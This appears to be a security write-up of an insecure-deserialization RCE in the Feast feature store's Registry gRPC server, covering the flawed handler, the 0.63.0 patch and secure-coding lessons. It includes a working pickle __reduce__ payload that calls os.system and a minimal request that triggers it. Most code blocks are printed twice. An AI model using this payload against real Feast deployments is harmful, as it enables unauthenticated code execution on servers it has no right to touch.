September 13, 2026
When Authorization Runs Too Late: RCE via Insecure Deserialization in Feast (CVE-2026–56121)
Feast is an open-source feature store used in ML pipelines to define, store, and serve features. Users can register FeatureView specs —…
By Guidancewhite
5 min read
Feast is an open-source feature store used in ML pipelines to define, store, and serve features. Users can register FeatureView specs — including user-defined transformation functions (UDFs) — with a Registry server over gRPC via an Apply call. This CVE is a structural flaw in that registration flow: deserialization happens before authorization.
1. The core issue — execution order
In a properly designed server, requests should flow through this order:
Receive request → Authenticate → Authorize → Parse/deserialize payload → Run business logicReceive request → Authenticate → Authorize → Parse/deserialize payload → Run business logicBut Feast's Registry server handler for ApplyFeatureView had the order reversed:
Receive request → Deserialize payload (dill.loads) → Authorize → Run business logicReceive request → Deserialize payload (dill.loads) → Authorize → Run business logicIn other words, binary (pickle) data sent by the attacker is executed as Python code before the server ever checks whether the caller is allowed to perform the action. The authorization check does still get called — it's just called after the damage is already done, which makes it essentially meaningless.
2. Source-level analysis
2–1. Entry point — registry_server.py
Feast's Registry gRPC server handles the ApplyFeatureView RPC, called whenever a client registers a new feature view, roughly like this (trimmed for clarity, but the flow is preserved from the real source):
# sdk/python/feast/registry_server.py
def ApplyFeatureView(self, request, context):
feature_view_type = request.WhichOneof("base_feature_view")
if feature_view_type == "feature_view":
feature_view = FeatureView.from_proto(request.feature_view)
elif feature_view_type == "on_demand_feature_view":
feature_view = OnDemandFeatureView.from_proto(
request.on_demand_feature_view
) # ← (1) deserialization happens first
elif feature_view_type == "stream_feature_view":
feature_view = StreamFeatureView.from_proto(request.stream_feature_view)
assert_permissions_to_update(resource=feature_view, ...) # ← (2) auth check comes later
self.proxied_registry.apply_feature_view(...)
return Empty()# sdk/python/feast/registry_server.py
def ApplyFeatureView(self, request, context):
feature_view_type = request.WhichOneof("base_feature_view")
if feature_view_type == "feature_view":
feature_view = FeatureView.from_proto(request.feature_view)
elif feature_view_type == "on_demand_feature_view":
feature_view = OnDemandFeatureView.from_proto(
request.on_demand_feature_view
) # ← (1) deserialization happens first
elif feature_view_type == "stream_feature_view":
feature_view = StreamFeatureView.from_proto(request.stream_feature_view)
assert_permissions_to_update(resource=feature_view, ...) # ← (2) auth check comes later
self.proxied_registry.apply_feature_view(...)
return Empty()Two lines matter here:
- (1)
OnDemandFeatureView.from_proto(request.on_demand_feature_view)— converts the client's protobuf message into a Python object. This is where the actual deserialization vulnerability lives. - (2)
assert_permissions_to_update(...)— checks whether the caller is actually allowed to create or modify this feature view. It only runs after (1) has already completed.
Read in isolation, this looks like ordinary request handling. The real problem is what happens inside step (1).
2–2. What is an OnDemandFeatureView?
Feast supports "on-demand" features — values computed at request time rather than read from storage. For example, order_price / distance_km computed on the fly rather than pulled from a table. This is backed by a user-written Python function (the transformation/UDF).
@on_demand_feature_view(...)
def price_per_km(inputs: pd.DataFrame) -> pd.DataFrame:
df = pd.DataFrame()
df["price_per_km"] = inputs["order_price"] / inputs["distance_km"]
return df@on_demand_feature_view(...)
def price_per_km(inputs: pd.DataFrame) -> pd.DataFrame:
df = pd.DataFrame()
df["price_per_km"] = inputs["order_price"] / inputs["distance_km"]
return dfTo transmit and persist this function definition, Feast serializes the function object itself using dill (a superset of pickle) and stores the resulting bytes in a UserDefinedFunctionV2.body field inside the protobuf message.
The problem: there is no way to verify who actually produced those bytes. Since the gRPC request is fully client-controlled, an attacker can put arbitrary malicious pickle bytes in the body field instead of a legitimate function, and the server has no way to tell the difference.
2–3. The real sink — dill.loads()
OnDemandFeatureView.from_proto() eventually calls _parse_transformation_from_proto(), which in turn calls PandasTransformation.from_proto() (or PythonTransformation.from_proto()). This is where the actual vulnerable call lives:
# sdk/python/feast/transformation/pandas_transformation.py
import dill
@classmethod
def from_proto(cls, user_defined_function_proto):
return cls(
udf=dill.loads(user_defined_function_proto.body), # ← SINK
udf_string=user_defined_function_proto.body_text,
)# sdk/python/feast/transformation/pandas_transformation.py
import dill
@classmethod
def from_proto(cls, user_defined_function_proto):
return cls(
udf=dill.loads(user_defined_function_proto.body), # ← SINK
udf_string=user_defined_function_proto.body_text,
)dill.loads(), like Python's built-in pickle, doesn't just parse data — it executes a stream of opcodes describing how to reconstruct an object, including instructions like "instantiate this class with these arguments" or "call this function." Pickle/dill is not a data format; it's an executable format. Passing untrusted bytes into .loads() is a well-known path to arbitrary code execution in the Python ecosystem.
2–4. Why code executes exactly here — __reduce__
When a Python object is pickled, if its class defines a __reduce__ method, that method can tell the pickle stream "to reconstruct this object, call this function with these arguments." Attackers abuse this to build a weaponized payload:
import os, pickle
class _Payload:
def __init__(self, cmd):
self.cmd = cmd
def __reduce__(self):
# The moment dill.loads() tries to "reconstruct" this object,
# os.system(self.cmd) is actually invoked
return (os.system, (self.cmd,))
body = pickle.dumps(_Payload("id > /tmp/feast_pwned"))import os, pickle
class _Payload:
def __init__(self, cmd):
self.cmd = cmd
def __reduce__(self):
# The moment dill.loads() tries to "reconstruct" this object,
# os.system(self.cmd) is actually invoked
return (os.system, (self.cmd,))
body = pickle.dumps(_Payload("id > /tmp/feast_pwned"))Send this body value in the user_defined_function.body field of an ApplyFeatureView request, and the moment the server calls dill.loads(body), os.system("id > /tmp/feast_pwned") executes with the privileges of the Feast service account.
Interestingly, os.system() returns an integer (0), which from_proto then tries to treat as a "deserialized UDF object," eventually raising TypeError: 0 is not a module, class, method, or function. But that error is just a cosmetic side effect that fires after the command has already run — the attack has already succeeded by that point.
2–5. A minimal attack payload
The protobuf message needed to trigger this is surprisingly small — there's no need to populate a valid source or feature list at all:
ApplyFeatureViewRequest {
project: "feature_repo"
on_demand_feature_view {
spec {
name: "pwn"
mode: "pandas"
feature_transformation {
user_defined_function {
name: "pwn"
body: <malicious pickle bytes>
body_text: "..."
mode: "pandas"
}
}
}
}
}ApplyFeatureViewRequest {
project: "feature_repo"
on_demand_feature_view {
spec {
name: "pwn"
mode: "pandas"
feature_transformation {
user_defined_function {
name: "pwn"
body: <malicious pickle bytes>
body_text: "..."
mode: "pandas"
}
}
}
}
}OnDemandFeatureView.from_proto defaults mode to "pandas" when unset and parses the transformation logic (feature_transformation) before validating the source/feature list, so this minimal spec is enough to reach the dill.loads() sink.
2–6. Why authentication doesn't save you
Two conditions compound here.
- Feast's default
feature_store.yamlships with no authentication:
auth:
type: no_authauth:
type: no_authThe Registry gRPC server also opens a plaintext port via server.add_insecure_port("[::]:6570"). In a default deployment, anyone who can reach port 6570 can call ApplyFeatureView without authenticating at all.
- Even if an admin enables
oidcorkubernetesauth,assert_permissions_to_update()is only invoked afterfrom_proto()(deserialization) has already run — so it doesn't help. This is why the advisory for this CVE calls out both unauthenticated and unauthorized attackers: a logged-in user who simply lacks permission to modify this particular resource can trigger the same RCE.
3. Full attack flow diagram
The diagram below traces the flow from the moment an attacker sends the gRPC request to the moment code actually executes, and finally to the authorization check that arrives too late — laid out as four color-coded lanes.
- Red (①) — The attacker prepares a weaponized pickle payload using
__reduce__. - Blue (②) — What looks like a normal server processing path: the gRPC request is received and parsed all the way to
from_protowith no authentication at all. - Orange → dark red (③) — Where the real danger happens. The
dill.loads()call itself is the code-execution point;__reduce__fires immediately after, runningos.system. By this point, the attack is already complete. - Gray (④) — The authorization check that should have run first arrives dead last. Even if it correctly denies the request at this point, it doesn't matter — the code has already executed.
The structural lesson here is simple: having an authorization check exist is not the same as having it run before the dangerous code does. Feast did have an authorization check in place — its problem was when that check ran, not whether it existed.
4. Patch analysis (0.63.0)
Rather than simply moving the authorization check earlier, 0.63.0 fixes this by introducing a skip_udf flag threaded through the entire from_proto() call chain, so that the registry server path never deserializes the UDF body at all.
# Patched registry_server.py
OnDemandFeatureView.from_proto(request.on_demand_feature_view, skip_udf=True)
# Patched from_proto internals
# "Parse transformation from proto (skip UDF deserialization if requested)"
if proto.spec.HasField("user_defined_function") and not skip_udf:
...
dill.loads(...)# Patched registry_server.py
OnDemandFeatureView.from_proto(request.on_demand_feature_view, skip_udf=True)
# Patched from_proto internals
# "Parse transformation from proto (skip UDF deserialization if requested)"
if proto.spec.HasField("user_defined_function") and not skip_udf:
...
dill.loads(...)The registry server never needs to actually execute the UDF — it only needs to persist the bytes. By hardcoding skip_udf=True on the server path, the patch ensures that attacker-supplied specs never reach the dill.loads() sink in the first place. Rather than fixing "when do we check permissions," the patch asks the more fundamental question: "do we even need to deserialize untrusted input here at all?"
Whether a given build applies skip_udf on the registry server path is effectively the practical marker separating vulnerable (< 0.63.0) from patched (≥ 0.63.0) versions.
5. Two takeaways worth internalizing
First, pickle/dill is not a data format — it's an executable program. If you find code that calls .loads() on bytes received from an untrusted source without verifying their origin, treat that call site as a remote-code-execution point by default. Always ask whether a pure data format like json could replace it.
Second, an authorization check must be verified by execution order, not just presence. In code review it's easy to confirm that assert_permissions_to_update() (or similar) is being called somewhere and move on. What actually matters is confirming it runs before any dangerous logic — parsing, deserialization, file access, external calls — not after.